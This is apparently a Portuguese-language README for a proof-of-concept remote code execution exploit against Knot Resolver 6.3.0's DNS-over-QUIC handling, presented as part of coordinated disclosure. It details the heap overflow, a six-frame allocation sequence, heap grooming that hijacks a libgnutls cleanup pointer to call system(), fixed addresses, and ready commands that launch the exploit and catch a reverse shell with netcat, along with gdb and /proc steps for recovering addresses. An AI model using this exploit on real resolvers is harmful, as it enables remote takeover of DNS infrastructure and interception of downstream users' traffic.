
CVE-2026-66374: Knot Resolver 6.3.0 estouro de heap no DNS-over-QUIC (RCE)
Prova de conceito para um estouro de buffer de heap acionável remotamente no caminho de recepção DNS-over-QUIC (DoQ) do Knot Resolver, que resulta em execução remota de código como o usuário do serviço knot-resolver.
kresd (daemon/quic_conn.c)6.3.0-cznic.1~bookworm)knot-resolver; no mínimo, falha remota / DoSPublicado juntamente com a correção do fornecedor e o aviso como parte de divulgação coordenada. Apenas para pesquisa de segurança autorizada e validação defensiva.
Exploração remota completa — o exploit é disparado da máquina atacante via DNS-over-QUIC, e um shell reverso knot-resolver é capturado no nc (clique para o vídeo em resolução total):
Knot Resolver é um resolvedor recursivo de DNS open-source com cache desenvolvido pela CZ.NIC (o registrador .cz). Ele resolve consultas DNS em nome de clientes — dispositivos de usuário final, frotas de resolvedores de ISPs e serviços de resolvedor público — e armazena as respostas em cache. Suporta transportes criptografados modernos, incluindo DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) e DNS-over-QUIC (DoQ), e oferece validação DNSSEC e cache agressivo.
É popular em ambientes de grandes ISPs, onde seu rico conjunto de funcionalidades (política programável, DNSSEC, transportes criptografados, cache refinado) e alto desempenho o tornam adequado para atender bases de assinantes muito grandes.
O daemon (kresd) é um serviço de rede de longa duração que fica diretamente exposto a entradas não confiáveis de qualquer host capaz de alcançar sua porta de escuta. Isso torna um bug de corrupção de memória em seu caminho de recepção de pacotes — como o explorado aqui — uma superfície de ataque remotamente acessível e não autenticada: comprometer o resolvedor permite que um atacante forje respostas DNS para todos os clientes downstream, ou seja, redirecione ou intercepte efetivamente todo o tráfego deles.
kr_recv_stream_data_cb() remonta quadros STREAM do DoQ em um buffer de entrada por conexão (pers_inbuf). Ela aumenta esse buffer com
pers_inbuf.size += datalen; /* bug: acumula, nunca redefine a linha de base */
em vez de definir o tamanho para o novo total. Através de vários quadros, o size rastreado se desvia acima da alocação real. Um quadro final cujo datalen cabe sob o size inflado portanto ignora a realocação, mas o memcpy() subsequente é limitado por esse tamanho inflado — então ele escreve além do final do objeto. O jemalloc mantém o objeto fixado em sua classe de tamanho real, então os bytes excedentes caem no slot adjacente da laje.
Uma sequência de seis quadros em um fluxo percorre pers_inbuf através de cinco classes de tamanho do jemalloc para a classe de 6144 bytes e então transborda para o slot vizinho:
F1 datalen=8 alocação inicial de 1200 bytes
F2 datalen=1440 realloc -> classe 1536
F3 datalen=1440 realloc -> classe 3072
F4 datalen=1440 realloc -> classe 5120
F5 datalen=1440 realloc -> classe 6144
F6 datalen=1200, FIN sem realloc -> gravação OOB de 814 bytes no slot+1
O grooming leve de conexões (abrir várias conexões DoQ, liberar metade pouco antes de disparar) organiza para que slot+1 contenha um manipulador de limpeza do libgnutls. O estouro sobrescreve o ponteiro de despacho desse manipulador, seu argumento e a flag que controla o despacho. Durante o encerramento da conexão, o libgnutls executa
call *0x110(%rbx) ; %rbx = slot+1 controlado pelo atacante
dando controle do ponteiro de instrução (RIP) e do primeiro argumento (RDI). O PoC roteia isso para system() com um ponteiro para uma string de comando fornecida pelo atacante escrita no mesmo slot.
Este PoC tem como alvo um host com ASLR desabilitado (kernel.randomize_va_space = 0). Com a randomização desligada, os endereços do heap e da libc são determinísticos, então os dois endereços que o exploit precisa (slot+1 e system()) são constantes para uma determinada compilação. Derrotar o ASLR é um problema separado e está intencionalmente fora do escopo aqui — o objetivo é demonstrar a primitiva corrupção-de-memória → fluxo-de-controle → execução-de-código em isolamento.
Como esses endereços são determinísticos, nenhum vazamento de informação é necessário: o exploit é executado completamente pela rede a partir de um host remoto. Os endereços são recuperados uma vez com a etapa probe (abaixo) em qualquer compilação idêntica e então fixados; na compilação de referência eles são slot+1 = 0x7ffff66c5000 e system = 0x7ffff746a490.
| Arquivo | Finalidade |
|---|---|
poc.py | O exploit. Modos: probe, rip, exec. |
probe.gdb | Oráculo gdb que lê o pers_inbuf determinístico. |
README.md | Este documento. |
Requer Python 3 com aioquic e netcat no lado do atacante, e gdb no alvo apenas para a etapa única probe.
Esta é a demonstração principal: o exploit é disparado da máquina atacante, pela rede, com os dois endereços determinísticos fixados. Nada é lido do alvo — sem /proc, sem gdb, sem logs.
# Na máquina atacante: ouça pelo shell
$ nc -lvnp 4444 # Linux; no macOS/BSD: nc -l 4444
# Em outro terminal: dispare o exploit na porta DoQ do alvo
$ python3 poc.py exec \
--host <alvo> --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost <ip-atacante> --lport 4444 \
--rounds 250
Cada rodada que acerta chama system() no alvo com um comando de shell reverso; o shell se conecta de volta a --lhost:--lport, onde nc o recebe. Quando chegar, digite na sessão do netcat para controlar o shell:
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
Os valores --slot1 / --system são recuperados uma vez com a etapa probe em qualquer compilação idêntica; são constantes enquanto o ASLR estiver desligado.
Os valores --slot1 / --system acima são constantes enquanto o ASLR estiver desligado; recupere-os uma vez em qualquer compilação idêntica. Pré-condição:
$ sudo sysctl -w kernel.randomize_va_space=0
# slot+1 : oráculo gdb lê o pers_inbuf determinístico, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : base da libc (ASLR desligado) + deslocamento system()
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))